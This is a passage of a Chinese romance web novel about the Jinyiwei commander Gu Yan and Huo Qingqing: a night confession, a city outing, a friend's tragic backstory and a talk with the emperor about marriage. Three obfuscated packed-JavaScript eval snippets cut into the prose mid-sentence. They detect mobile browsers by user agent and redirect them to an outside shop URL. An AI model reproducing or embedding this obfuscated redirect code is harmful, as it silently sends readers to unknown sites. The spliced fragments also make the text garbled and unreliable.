许是屋子里突如其来的沉寂让顾衍觉得不安,他握住她的手腕哂笑一声:“霍姑娘是怕我将他供出去以搏明顺帝信任?” 霍青青的指尖微微曲起,在他的胸口的布料上滑出一点褶皱。 她略动一下,将顾衍压在身下,撑着头道:“是啊,初时怕得很。毕竟人人都说我家顾大人是狗贼。” 顾衍挑眉,抬手卷起她垂落下来的几缕发,懒散地看着那发丝绕在他指尖,很快又松开。 霍青青看着他在微弱月光下落了点亮色的星目,指尖落在他脸侧,随后下滑勾住他的衣襟。 衣衫之下,纵横交错的伤痕如今还没好。 顾衍身子微僵,很快别过头去,他想借着这夜色朦胧掩去面上那几分苦笑。 霍青青叹了一口气,伸手捏住他的下颌逼着他同自己对视。 “顾大人怎的委屈了?从前那许多人说,只知道顾大人四处捞他们的罪证给他们定了罪,该下狱的下狱,该杀的杀了,如今倒是在意了。” 顾衍不自在地垂眸看着她手腕上那两只温润的玉镯子。 两只玉镯子此刻都并在一处,落了点银月光,成了一弯流动青潭。 他似是不好说出口,静默了许久,才猛地将她一拉抱在怀里。 霍青青这才听着他慢慢道:“别人说与我没什么关系。可霍姑娘不能。” 她瞬时明白过来,先是诧异一下,随后在他怀里闷笑出声。 后面笑得太厉害就咳嗽起来。 顾衍无奈地拍着她的背,声音涩得很:“霍姑娘,别笑了,仔细些身子。” 霍青青缓了许久才缓过来,她擦去眼角笑出来的泪花,低下头在顾衍唇上落了个轻飘飘的吻。 似蝶落下,一触即离。 “霍姑娘,时辰不早了,该睡了。”顾衍抱着她在榻上一滚,侧身抱着她。 霍青青挣扎未果后只得闭上眼装睡。 她听着顾衍在她耳边蹭蹭,说了句祝好梦。 许是他榻上太过舒服,她很快便睡过去。 半梦半醒间,似觉得有温热的液体淌到她的颈窝。 顾衍抱着她的手收得有些紧,她似听到了顾衍压抑的哭声。 很低很低的泣音。 “两年前,我杀同僚时,手在抖。”顾衍沙哑的声音放得很轻,在这寂静的夜里变得飘渺起来。 “那里面,有的人,是曾经的生死之交。是从前在军营里一同上过战场的兄弟。” “他问我,为什么杀了贺乾,为什么要杀了他们。” “我说……” “我不知道,我只知道贺乾曾经教我,朝堂之上无亲朋,既已是对立,那便该斩草除根。” “我记得那时候,还有一个人。” “出任务时,他骗我送死。我也问他为什么。” “他说……因为贺乾看重我,我挡了他的路。他骗得我好苦。” 他声音闷下去,不多时,又继续说着话。 “贺乾一早便知他心思,他没说。只是看着他陷害我,送我去死。最后我握着刀反扑。那时候,贺乾就坐在高位上,看着我握着刀,他笑话我背叛之人都不敢杀要我何用。” “也是他,站在我身后,拿着他那把杀了无数人的绣春刀,剖开那人胸膛,挑出还在跳动着的那颗心要我捧着。” “我记得他说就是想让我看看人心到底是什么模样。” “人心,是红的。但是藏在他们胸腔里,就变黑了。我那时分不清好人坏人,将他的话当做行事守则。” “是不是很可笑?一个人活得没什么念想,就被人当成棋子来养着。大抵是我活该。” 他一口气说了这许多,说得太久霍青青觉得他累了。 她的手摸索着勾在他掌心。 顾衍低笑着握住。 “霍姑娘啊……”他叹了一句,埋首在她肩上。 “那时在陵水碰上贺乾的时候,我想着还他再造之恩,可伍行比我明白事。他宁愿舍命一搏,都要将我救出来打醒我。” “霍姑娘啊……顾大人,有时候也挺蠢的。” “这两个月里我又想了许多。” “没见到霍姑娘时觉得,或许这般死了也好,死在荒郊野岭总比死在朝堂好。” “我身无长物,只有这条命能给霍姑娘。” “什么都没有,我怕以后亏待了霍姑娘。” 霍青青翻过身来勾住他后颈,微微挑眉:“顾大人不是还有这张好看的脸?” 顾衍手一僵,无奈道:“霍姑娘怎的没睡?” 此刻云已蔽月,黑下来的屋子里,霍青青只能瞧见顾衍那张好看的脸上似是挂着笑。 她的指尖摩挲在他唇上,喟叹道:“顾大人脸好看,我雇顾大人来陪着我吃饭当个下饭菜,如何?” 顾衍闻言觉得好笑,他活了这么些年了,还是头一遭听到这般荒唐的话。怕是也只有霍姑娘这样的人才能说出这些令人意外的话语。 可是他偏偏……喜欢。 他又将她抱好,下巴搁在她头顶,带了点笑意道:“霍姑娘的意思是,我堂堂锦衣卫指挥使,朝廷三品大员,今日算是靠着这张脸吃饭了?” “顾大人正解。”霍青青在他怀里打了个哈欠。 顾大人怀里舒坦,宽厚还带着暖意,霍青青只觉眼都睁不开了。 顾衍随手取来薄被给她裹上,声音低哑:“我的雇主,该睡了。明日顾某就陪着吃饭,当个下饭菜。” 霍青青点点头,也是当真困了,不多时便睡沉了。 一夜里她睡得安稳,梦里隐约感觉到旁边有人起身下榻,不多时就回来了。 顾衍抱了她一宿,自己反倒没睡好。 霍姑娘睡觉乖得很不怎么动弹,可一动弹就要命。 他只得想法子自己解决了。 第二日晨间,顾衍大早就去了镇抚司埋在一堆公务里。要早点将这些都看了才好去朝中谈事。 直至午间,伍行才提了一个大食盒过来,打开时香气飘了满屋。 顾衍从一堆公务里抬起头,见着伍行将食盒里的吃食端出来摆了满满当当一桌子。 伍行见他端详,不由叹道:“跟着霍姑娘真好啊。” “今日霍姑娘说昨夜里大家都出力许多,专门差人做了许多上好的吃食分送到宫中、镇抚司,御林军也有一份。” “听说霍姑娘今早起来就差人去安排的,召了好些厨子赶了个大早才做完。” 见顾衍坐下来吃得香,伍行看了他一眼再看菜一眼,幽幽道:“我听说……今日霍姑娘从顾府回去,脖颈上被蚊子咬了。” 顾衍喝着汤一下就呛住,接连咳嗽好一阵才缓过劲儿来。 他睨了伍行一眼,紧着吃完饭就又回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只听“啪”一声,伍行从草堆里冒出来,捂着额头茫然四顾。 他捡起地上纸团,展开后一看,又想到什么看向顾衍窗户大开的书房。 合着这人没好好看公务,在乱吃飞醋呢? “啪。” 又是一个纸团飞过来,伍行又被砸中。 下一个再飞来时,伍行早有准备一把接住。 随后他深吸一口气站在书房窗外,提气喊道:“顾大人,要不你就从了霍姑娘吧——” 他喊完,立刻溜走。 顾衍先是一惊,马上耳根子就红透了,他低骂了一句,想起来抓人时,那罪魁祸首早就跑了个没影。 这下好了,如今镇抚司里都知道自家顾指挥使被霍府的霍小姐瞧上了。看这模样,还是霍小姐先瞧上的指挥使。 …… 又过去好些日子,霍青青才将身子养回来,这些日子里顾衍到点便翻墙进她的院子给她吹曲子,从不晚到。 虽跟霍清风安排的守卫打了好几次,但还是照翻不误。 今日里,霍青青刚醒便听见他推开窗轻手轻脚翻进来。 待顾衍走近才见着她已经醒了。 他俯下身,在她额头落了个吻,低声道:“诏狱里那人,你要亲自审吗?” 72.哪个他 霍青青这才想起那人还被关在诏狱。 北镇抚司的诏狱…… “待再晚些吧……这些时日动荡颇多,皇伯伯还没安排下来。宋世荣的罪证还需最后的人证。他与长生教怕是真无牵扯,只是助纣为虐。到了这等地步,要将他斩草除根才是。” “若是漏了什么,怕是麻烦。” 顾衍点点头,抱着她的手臂略收紧了些,在她耳畔问道:“我瞧着霍姑娘这些时日身子是不是好了些?可要挑个日子前往世外谷?” “世外谷不急于一时,这几日已是好了许多。过去路遥,我在京都还要去安排些事,如今十三楼同赵枢在助陵水城重建,陵水……怕是还要两月才能居住。” “陵水城里死伤太多,得先将那些腐朽的血肉焚烧,再清理掉。” 顾衍闻言,才想起那日里蔺弃说有医老在,霍姑娘好好活个三五年不成问题。若非当真无解,他亦不愿让霍姑娘去赌那两成。 “近来朝堂之中,南宫家的门生元辰还挺争气,得了圣上青睐。如今暂领大理寺司务一职,在霍大人手下。” 顾衍的指尖在霍青青鬓边打着转,这些时日朝堂里慢慢歇下来,他们对那夜里的事避而不谈,但这事是抹不去的。 “顾大人,她若要见我,你定要同我说。” “我同她……有债要偿,有事未了。” “她到底是谁?”顾衍的手落在她腰间,将她带进自己怀里。 他家霍姑娘总不爱说自己好不好痛不痛,好在如今他能觉察出几分。 那人能让霍姑娘如此,怕是跟她关系匪浅。 只是霍姑娘从前的事他知晓得太少,也不敢轻易猜测。他不想去查,霍姑娘的事,他想听着她亲口同他说。 可是凭什么霍十一能陪着他家霍姑娘长大,锦屏可以一直侍奉在她身前。就连雁将离,都知晓她许多事。 只有他不知道。 他连霍姑娘喜欢什么,都是最后一个知晓。 霍青青只觉腰间他的手臂环得更紧里些,抬手轻轻落在他小臂上,轻声道了句:“顾大人,太紧了疼得很。” 顾衍连忙松开,他蹙着眉上上下下看了她好一阵,才松了一口气。 “一时不察,紧了些。” “顾大人方才在想什么?”霍青青转过身来,一下一下撩着他的衣襟。 顾衍轻咳一声,坦然道:“我在想霍姑娘幼时在霍府里是什么模样。他们都知晓,唯有我不知,我心里不痛快。” 霍青青没应他,将他推开几分唤来锦屏。 顾衍被锦屏赶去外面廊下站了好一会儿,等到锦屏侍奉着霍青青打理好了才听着霍青青唤他进去。 外间的桌上已摆下几份糕点,霍青青慢慢吃着一块马蹄糕,吃完又换一样。 见顾衍没动作,霍青青不由停下动作看着他:“顾大人,你怎的不吃?有你那一份。” 顾衍恍然回过神来,应道:“霍姑娘吃好便好了,要霍姑娘吃好了,我这个做下饭菜的才算做得好。” “只有做好了,拿霍姑娘给的银子时才能问心无愧。” “顾大人惯爱这般说笑。”霍青青拈起一块马蹄糕塞到顾衍口中:“顾大人也吃些。” 顾衍挑眉,就着她的手吃糕。 霍青青眼眸微眯,一手撑着头瞧着顾衍,袖口滑落下去,玉镯轻碰。 “顾大人,好吃吗?”霍青青见他吃完,又端了一碗酥酪放到他面前。 顾衍星目微垂,看着自己面前的酥酪舀起一勺送入口中。 等他一碗吃干净了,霍青青才吃了小半碗。 “这是霍姑娘爱吃的?”他看着对面的霍姑娘吃得秀气,一碗酥酪得吃好久。 霍青青吃完,取了帕子擦净才点点头:笑道:“是啊。顾大人觉得如何?可吃的惯?” “嗯。”顾衍站起身活动了下筋骨。 他甚少吃这些精细的东西,往常在镇抚司是同他们一起吃,他们吃什么他就吃什么。自己回顾府上更简单,就做点简单的吃食随便对付了,饿不着就成。 往日去宫中赴宴,他甚少吃东西,只跟自己人坐在一处饮酒。 如今碰上霍姑娘,倒是试了头一遭。 突然这般精细还有些不习惯。 顾衍思衬片刻才道:“霍姑娘不必怎么照顾我,我平日里吃些简单的便可。” 霍青青闻言笑出声来,顾大人似乎总喜欢同她说些有趣的话,总能引她笑起来。 末了,霍青青撑着桌子起身:“那顾大人可真是好养活。” “顾大人今日是不是还要上朝?这个时辰我爹恐怕早就到宫中了。” 顾衍一时不知道说什么,他今日里是又让圣上批了休沐。 他说左右镇抚司无事,霍姑娘这几日闷,要陪她出去逛逛。 圣上听到时看着他的眼中神色复杂,提笔许久,重重叹了一口气才批下今日休沐。 他临走时,还听到圣上嘀嘀咕咕说他往日里不这样。 今时不同往日了,他如今有自家青青要照看,况且镇抚司那边也没甚么大事,更别说还有宋无忧和伍行。 霍姑娘身子骨不好,他将她看好才是要事。其余的,能搁着便先搁着吧。 顾衍打定主意,今日里要带着霍姑娘出去走走,遂开口道:“霍姑娘今日可要出去?这几日快入秋了,外间人多,去那方有烟火气的地方走走许是会好些。” 霍青青点点头:“也好,这几日府中着实太闷。” …… 顾衍如愿同霍姑娘一道出了门,只是身后依旧跟着锦屏和霍十一。 霍姑娘走过一个小摊时,锦屏忙掏了银子,给霍姑娘买下一堆稀奇的小玩意儿。 霍姑娘说有些饿了,顾衍还未来得及反应,就见霍十一递上带着的糕点。 霍姑娘走得有些累了,锦屏早就从街边跟摊贩借了张矮板凳擦干净放着让霍姑娘坐会儿。 霍姑娘刚说这把匕首好看,下一刻霍十一就掏银子买下来呈给霍姑娘。 霍姑娘…… 顾衍再一次被锦屏挤到后面时,只能拿那双星目戚戚地看着霍姑娘。 霍青青:“……” 顾大人这般模样还是第一次见。 着实……有趣。 霍青青轻咳一声,接过霍十一递来的她方才只瞧了一眼的银镯子朝他笑道:“十一,今日买得太多了。你瞧锦屏大包小包的,太累了。” “啊?”锦屏抱着一摞物件探个头出来:“我没事的,姑娘接着买自己喜欢的就是。” 说罢她吹了个叶哨,暗处的辰砂便显出身形抱走她手上的物件递给跟在他身后的人。 “姑娘,喜欢就买!他们都跟着呐,不愁抱不动。” 一个接一个,一个接一个! 顾衍觉得脑仁儿疼,他这么些年查案破案断案,都没这么疼。 他只是想好好跟霍姑娘逛个街罢了。 霍青青忽然过来抓住他的手,凑到他耳畔低声道:“顾大人,我们……将他们甩开,如何?” 顾衍眉峰一挑,看了落后几步的锦屏和霍十一一眼,手一伸一勾再一拉,就将霍姑娘稳稳抱在怀里,然后极快的在人群中穿行。 天杀的顾衍。 锦屏脸一沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606949|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在心里骂了句,反手握住腰间软剑就追了上去,还不忘喊了一句:“辰木头,愣着干嘛,追啊!” 霍十一早已掠出数十步远,他冷哼一声跃上一旁屋顶,在瓦片上飞踏。 如今京都之中,宋世荣那厮一计不成早早盯上了姑娘,他们哪里敢轻易让顾衍带着姑娘跑了。 顾衍应当是知晓的,也不知为何还敢这般。 姑娘也真是……就纵着他胡闹。 霍青青被顾衍抱在怀里,一时起了点坏心思。 她蓦地将手伸进顾衍的衣襟,往下一勾。 顾衍一个趔趄,脚步一错停下来。 “霍姑娘,不许在这时候动手动脚。” 见后面的人已追至十余步开外,顾衍赶紧稳了稳心神,抱着霍姑娘继续跑。 这一跑就是半个时辰,顾衍额头出了一层薄汗,他低声问怀里的霍姑娘:“霍姑娘,你的人怎的这么能跑?” 霍青青勾住他的脖颈,眼眸微眯:“十一是我亲自培养出来的,他轻功好得很,比我还要强上不少。” “锦屏她慢点,但也是十三楼里轻功排前五的。” “嗯……辰砂,顾大人也知晓,皇家暗卫,总差不到哪儿去。” 顾衍被追得在南街打转,又过半个时辰,他呼吸渐重,微喘着气同他怀里的霍姑娘道:“那我要是带霍姑娘私奔,是不是跑不过他们?” “唔……”霍青青思量片刻,将头搭在他肩膀,看着后面紧追不舍的霍十一,似是无奈又似是感慨道:“顾大人该说,是不是跑不过十三楼。” 顾衍脚下一滑,很快站稳:“那我到时候就入赘。” “霍姑娘可别让我跟他们这般追逃了。” “好啊,霍大人。”霍青青跟他调笑,还不忘在他耳边轻声指方向:“那边那边,顾大人朝东走。” “到了街口朝西转,再绕过一户有一棵大桃树的院子。” 顾衍脚下不停,按着霍姑娘指的方向转。 转到后来,快转晕了,霍姑娘才叫停。 这是一处空荡荡的小院,院里只栽着棵枫树。 这个时节枫树还未红尽,还带着夏日时节的苍翠色。 顾衍将霍青青放下来,他呼出一口气,笑道:“还是霍姑娘聪明。” 院子里静得很,这里似是远离了京中喧嚣,听不到人声。 霍青青拿起扫帚,清扫着院落。 顾衍见状忙夺了过来:“我来。” “好啊,顾大人。”霍青青也没客气,转身去取了一把花锄,在枫树下挖起来。 她在这里挖出一埕酒,又去屋中取了两个陶碗,倒了满当当两碗酒。 她端着酒靠着树坐下,拍拍身侧的地方:“顾大人,歇歇吧。” 顾衍收好扫帚,在院中井里打出一桶水洗了一把脸才到她身边坐下。 他轻嗅着这碗酒。 酒香气淡,不似那日在青柳庄时喝的那般。 再浅尝一口。 入口香醇绵长,应当是埋了三年余了。 霍青青喝完酒,懒散地靠在树干上,仰头看苍翠带红的树顶。此刻微风轻送,树叶被带动,连带着落在地上的树影都跟着晃起来。 “顾大人,突然想起去岁时,你我在青柳庄偷喝了我爹一坛酒。” “后面我说招待顾大人浪费了,我爹倒什么都没说。” 顾衍哑然,难怪那日之后霍承阳总冷眼看他。 “这里,是我跟她每次从府里跑出来时,住的地方。” “他?”顾衍手一顿,往霍青青身侧靠了靠,伸手覆在霍青青手背上:“哪个他?” 73.她和她 “爹不是同顾大人说过我身上这蛊毒?”霍青青垂眸看着他的手背,手背上还有在陵水时留下的疤痕。 涂了这些时日的白玉膏倒是好些了,连带着身上的疤痕都消退许多。 “那时这枫树还没这么高,十多年了才长成这副模样。” 顾衍抬头望了望。 这棵枫树看起来有些年岁了,许是许多年前就在这里生着,修建时并未挪动,划作了院子。 如今枝叶延展开,铺了小半院子。 “她叫霍无双,是我幼时很好的玩伴,只比我大上两岁的年纪。是我娘……制的药人。” 她声音飘忽起来,看着那点日阳从缝隙间透下来,落了满地,碎成一片又一片。这点阳光触手可及,却再也不似从前。 “那日在青州看到陨长楼化作林豫的模样,知晓他是后来修习的傀教术法。改头换面,缩骨成孩童,是傀教秘术。若是我猜得不错,陨长楼他们师门,便是当年傀教余孽。” 霍青青的手攥着散落的衣摆,一点点将衣摆打皱。 “我娘用的禁术,也跟傀教有千丝万缕的关系,只有如此,才能对付傀教蛊毒。” “无双同我,因着药引的关系,有八九分相似。” 霍青青抬起手遮住自己那双桃花眼。 有时她也停留在黑暗之中没有光亮找不到路,只有靠着鸟雀鸣蝉才会慢慢知道自己还活着。 是风动树叶,叶影摇晃时分出的细碎光影。那光影透过她指缝,带进一丝柔和日阳。 微暖,是生机。 顾衍悄然抬手又放下。 他只这般静静地陪着她。 等笛声低旋,带走最后一分寒意时,霍青青放下手来,翻身过来手擦过顾衍耳畔撑在树干上。 枫树之下,她眸光温和,手腕间的玉镯子靠在顾衍耳畔,她低下头,在他耳畔缓缓道:“顾大人,我欠她许多东西,是我该还的债,是我占了她生命里的许多年。” “顾大人,你说……这般如何能还清?” “将我的命抵给她吗?” 她的声音低缓,一点点弱下去,散在一院子的风里。 顾衍抬手扶在她腰上,另一手轻轻捏了她的下颌,同她那双桃花眼对视着。 他鲜少有这般强势的时候。 霍青青闭上眼,感受着他一点点靠近,最后在她唇齿间胡乱地舔吻。 他没有一点克制,凭直觉掠夺她的呼吸。 他声音很淡,一点点诉说着他的生平。 最后他说:“我忘记了我的生辰,只记得是在前朝最后两年出生。” “不若这样,我同霍姑娘一起过生辰,等霍姑娘长一岁,我便长一岁。” 霍青青闻言笑笑,顾大人总是这般聪明,聪明地带开让人伤感的话题,转个话头让她寻开心。 见她这般模样,顾衍稍稍放下心来,他握住她的指尖,认真问道:“我说的是真的,霍姑娘觉得如何?” 霍青青点点头:“顾大人都这般说了,便这样吧。这事,得顾大人自己做主。别人说了不算。” “那就这般了。等再过些时日,霍姑娘生辰时,我定来赴宴。” 顾衍指尖的白玉笛打了个转,一时不察被霍青青拿了去。 霍青青就着白玉笛挑起顾衍的下巴,挑眉道:“顾大人近日看着,比往日好看许多,这是为何?” “或许是,这几日跟着霍姑娘养得好罢。”顾衍眼中带笑,手扣在霍姑娘腰上不放,随后抽回白玉笛放进怀里。 他手上一用力,便将她拉到自己怀里,霍青青还未落进,他的手一转,搂在她腿弯将她抱着站起身来。 霍青青扶在他肩上,低头看他一眼,正巧撞进他望过来的星目。 星目灼灼,落了几点细碎天光。 “霍姑娘可扶稳了,时辰不早,该回去了。若是晚了,他们怕是要找我兴师问罪。我虽然是顾大人,但也禁不住你家那几个联手折腾我。” 霍青青扶稳,颊上少有的浮上一抹红,她的手攥住顾衍肩头的布料,声音里带了点迟疑:“就……这般回去吗?” 这分明是抱孩童的动作啊。 顾衍作势往门口走,答了句:“是啊,这般轻巧些,霍姑娘也不用多走路。” “不行!”霍青青别过头去:“顾衍,你放我下来,不然……我回去拿我的破甲锥。” 直走到门口,顾衍才将她放下来,赔笑道:“霍姑娘别动怒,跟你闹着玩儿的。你那破甲锥,我可吃不消。” 霍青青站在门口未动,顾衍终是叹了口气,伸手握住她的手扣进指缝,随后将这十指相扣的手抬起来在她眼前晃晃。 “我牵着霍姑娘走,这总行了?” 霍青青不置可否,面上不动声色,心底却笑了句顾大人像小孩子。 …… 来时时辰还早,如今已是傍晚时分。 他们二人并肩行在街上,穿行在行人中。 这个时候,街上的行人不多,偶有那么几个也是步履匆匆,许是已忙了一天急着回家见妻子儿女罢。 还有几个零星未收的摊子摆着,摊贩忙了这一天早就歇了吆喝。 霍青青忽然拉住顾衍,在一处小摊前驻足。 她捡起摊上的干花串子觉得有些喜欢。 顾衍见状忙问了价钱买下来。 等两人行出十余步,霍青青才笑道:“顾大人掏银子可真快。” 顾衍将怀里钱袋子递给她,无奈的很:“我今日带了些银子,这不是……这时才赶上给霍姑娘买物件吗?” 好不容易才等到锦屏和霍十一都不在,他总算能给霍姑娘结个账,当个纵容霍姑娘买东西的顾大人。 也算是……把一路丢的脸给捡回来了。 二人就这般走走停停,等到了霍府门口,天色已黑尽。 霍青青站在门口的灯火下,回头看了一眼抱着诸多小食的顾衍,她勾唇笑道:“今日辛苦顾大人了。” 霍姑娘就这般站在亮堂的灯火下,背着那橙黄暖光,眼睫微垂着朝顾衍笑。身后的光影给她笼上一层光尘,落在她一袭青裙上,似梦中一般。 顾衍一时愣神,微张了张口,又抿唇。 许久,他才轻声道:“不辛苦,所以霍姑娘……能不能给我结个账?” “什么?” 霍青青还未反应过来,顾衍就欺身而上,她退他进,直到她的脊背抵上身后的大门。 顾大人的吻落得又快又狠,与往日不同,此刻是如今日下午那般辗转在她唇上急切地想要攻城掠地。 夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617003|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里太静,静到心中一点星火轻绽,最后在耳畔炸响。 那一点点风拂花叶的声音慢慢放大,盘旋在这一方灯火下。 没有人喜欢离别,顾衍也是如此。 他从前不知这些,如今知晓便不想放开。他离开会同霍姑娘说,离开几日都说,那日陵水,他苟延残喘时,都想着该同霍姑娘说。 可偏偏他又怕这怕那,那以后无论如何,他都会想法子找到霍姑娘同她说他几时回。 他慢慢往前走去靠近,一点点试探着想踏进她的那方天地。 这方天地里,霍青青放任他前行。 她没有推开他,无论是从前那般轻柔如蝶落,还是这般似野兽的啃咬,她觉得这都是顾衍。 不是朝堂上那个总给自己挂一副假笑没有魂魄的傀儡,而是有血有肉会哭会笑的顾衍。 “顾衍啊……” 霍青青轻叹着,强势地按住他的后颈,将他拉得更近些,她伸手点上他的唇,擦去方才磕碰出的血迹。 “顾大人怎的还不走?今日是想同我住一处?” 顾衍坦荡地点头:“想。” 霍青青笑起来,她家坦荡的顾大人。 “那顾大人且当心些,别被十一他们抓到了。他们若是抓到了怕是会报给爹,到那时,我可不定能不能保住顾大人。” 顾衍手一僵,目光越过霍青青看向她身后点着错落灯火的府中。 嗯……似是没人。 可是……霍清风的人近来总堵他,得想个法子避开才是。 顾衍凑到霍青青身前,耳语道:“那霍姑娘夜里别锁窗。” 今日的顾大人夜里翻过围墙,往暗处躲了又躲还是踩了根树枝子。 好在他家霍姑娘聪明,替他遮掩了去。 夜里顾衍洗得干干净净安分地抱着霍青青睡觉。 霍青青拍拍他环在自己腰间的手臂低声道:“顾大人,别抱这么紧。” 顾衍闻言松了手,额头蹭在霍青青肩上:“那霍姑娘别乱动,今时不同往日,霍姑娘可别那般撩拨我。” 等到霍青青应了,顾衍才彻底松开。 很快,屋子里就静下来。外间偶有点细碎的声音,在这夜里很快便静下去化作虚无。 顾衍听着霍姑娘小声说:“我已经给了她很多东西,我能给的都给了。可是……我不知道为什么,她还是会入长生教残杀无辜。” 霍青青转过身来搂住顾衍的腰,将头埋在他怀里,声音闷闷的。 “她曾经也是心有抱负。她说,想做大煜第一个女将军,说得满目生辉神采奕奕。她那时很厉害的,学东西比我更快更刻苦,她那时才多大啊,手上就练出一层老茧。” “大抵……还是我害了她罢……” 她带着苦涩的声音飘忽起来,最后重重落在顾衍心头,压得顾衍有些喘不过气来。 顾衍搂着她,听着她轻浅的呼吸声,指尖轻轻落在她眼尾。 霍姑娘爱笑,笑起来桃花眼微弯,带着生机。他爱看她笑的,她那笑意是冬日里勾出的那一抹惹眼春色。 霍姑娘太少说苦,他总得诱着她去说,他愿她对自己更好些。 “再等等,我便来霍府提亲。”顾衍声音低下去。 霍姑娘睡熟了,许是听不到的。 74.高楼危 自这日后,顾衍便忙起来。 整日里忙得没功夫回顾府,宿在镇抚司一夜或是夜里翻墙进霍府。 好几次被守在院里的辰砂和霍十一联手挡下,打得鸡飞狗跳后从窗户跳进霍青青屋中。 如今谁都知道,锦衣卫指挥使顾衍喜欢夜探香闺,谁知道那话本上会不会被人记上几笔。 霍青青不在意,顾衍便也不想避人。 也不知是不是因着他同霍家走得近的缘故,明顺帝对他放心不少,极少再试探于他。 平日里只问问他霍青青如何。 他总答霍姑娘这些时日好了许多。 这日里,明顺帝又截住他,召他进了御书房。 顾衍甫一到御书房门口,守着的福公公就冷脸看着他,手中拂尘一甩:“请吧,顾指挥使。” 顾衍还是客气地回了句:“有劳福公公。” 待进了书房,顾衍一眼就瞧见书房里摆着的矮几和边上摆的布老虎。 明顺帝见他盯了这大半天,笑问道:“顾爱卿觉得青青那丫头如何?” 顾衍一震,答得坦坦荡荡:“霍姑娘自是极好的。” “那可惜了,霍爱卿舍不得他女儿,可是同我说了,未至双十不成亲。”明顺帝摊手:“顾爱卿,这……朕可没法。你也知晓,朕最怕太傅,偏生太傅又跟霍承阳一条心,朕这下帮不了你啊。” 顾衍见他话中有话,便拱手道:“还请皇上明示。” 明顺帝恨铁不成钢:“你,何时去霍府提亲?你若是再晚些,等青青对雁将离动点心思你就哭去吧。” “莫说雁将离,就是那霍清风霍十一,谁都不是吃素的主。” 顾衍直起身长长叹了一口气:“臣……没银子啊。” 明顺帝:“……” 他见过臣子穷的,没见过他这么穷的。 “俸禄呢?这些年你就没攒攒?” “跟霍家提亲,臣那点俸禄不大够啊……”顾衍又叹一口气,惋惜道:“怎么办啊,圣上,要是青青不要我了如何是好?” 明顺帝一时无言,他抬手揉着额头。如今两年前贺乾案已扯清楚,顾衍于京都护驾有功,又加之青青看上他,此人便可信了。 见顾衍如今这样子,明顺帝思衬许久,然后灵光乍现。 顾衍原以为他想到了给他预支俸禄,未曾想听着他说:“那朕去问问青青,她瞧着枢儿如何。” 顾衍:“……” 顾衍拦下明顺帝拿笔的手,将那一架子笔挪开许多。 郑重道:“不如圣上先支我五年俸禄。” 明顺帝手一抖,不可置信地看着他问了一遍:“多少?” “五年。” “你再说一遍?”明顺帝看着顾衍神色复杂。 “五年。”顾衍神色坦然,跟他算起账来:“同霍家提亲,要的钱财少说在千两以上,还要置办酒席宴请朝中。六聘、十里红妆、凤冠霞帔,都得要好的。” “青青喜欢玉石,再挑着打几套头面,还有喜欢的小玩意儿……” 明顺帝听得头疼,连连摆手:“今岁动荡些,库里没这么多银子。” “宋世荣那事,什么时候?” 顾衍问得云淡风轻,明顺帝心中了然。 “明年。这几日白沙关和滏南关都来了信件。南羌北蛮不安生,若是朝中再乱,它们怕是会乘虚而入。” “此事不同以往,库中钱粮怕是不能轻易动。顾衍,你不若再等等。” 顾衍沉默片刻,下意识摩挲着自己腰间的绣春刀,想到什么一般握住刀柄起身拔出半截银亮刀刃。 “我去宰了他们。” 明顺帝觉得头疼,如今几次下来,朝中已分明,只是如今朝中确经不起动荡。若非如此,他也不会一直拖着,捱到如今。 “他若是这么轻易除了便好了。这些时日里,霍承阳一直在暗中剪除他的党羽,顾衍,你得沉住气。” “圣旨不能下。你这些时日,也该收敛些,再翻院墙,若是被他发现了,指不定他就狗急跳墙搞出点幺蛾子。如今有青青相助,已查出他许多暗桩,只是十三楼不涉朝堂便没有动手,还需你去走一走。” “待外忧内患尽除,朕便下旨赐婚于你们二人,如何?” 顾衍只得妥协,青青恐怕也不会在这个节骨眼儿上让他上霍府提亲,此事,怕是还要日后谈。 “两年前,贺乾府上,安平王遗子的尸体,你去时已割首?” 明顺帝忽然问出这么一句。 顾衍了然,点点头:“是,我去时早已尸首分离,只余下腰间令牌。” “行了,下去吧。朕乏了,顾爱卿,你与霍家,如今系在一根绳上,你可得看清了。” “臣自是看得清楚,否则也不会来请旨赐婚。”顾衍自是看得清楚,今日来请旨,也是给他吃个定心丸,好让他也安心些。 等他从书房里出来,正巧碰上前来的霍承阳。 他笑着一礼:“霍大人。” 霍承阳只看他一眼,哼了一声便绕开他走到御书房门口。 不多时,顾衍便听他道:“顾大人不在镇抚司呆着,总这般懈怠可不好。” 说罢就听“啪”的一声,他将书房门关上了。 顾衍无奈得很,好像自从不遮遮掩掩后,许多人都不待见他了。虽说从前也许多人不待见他,但也没这般直白。 算算时辰,这个时候霍姑娘该用完午膳,想必正在房中练字或是拨弄她喜欢的九连环。 等过了霍姑娘的生辰,他就该带她去世外谷了。 此行也得隐蔽些,免得生变。 …… 御书房内,明顺帝迎霍承阳坐下,端上一盏茶浅尝一口。 “承阳,你如何看他?” 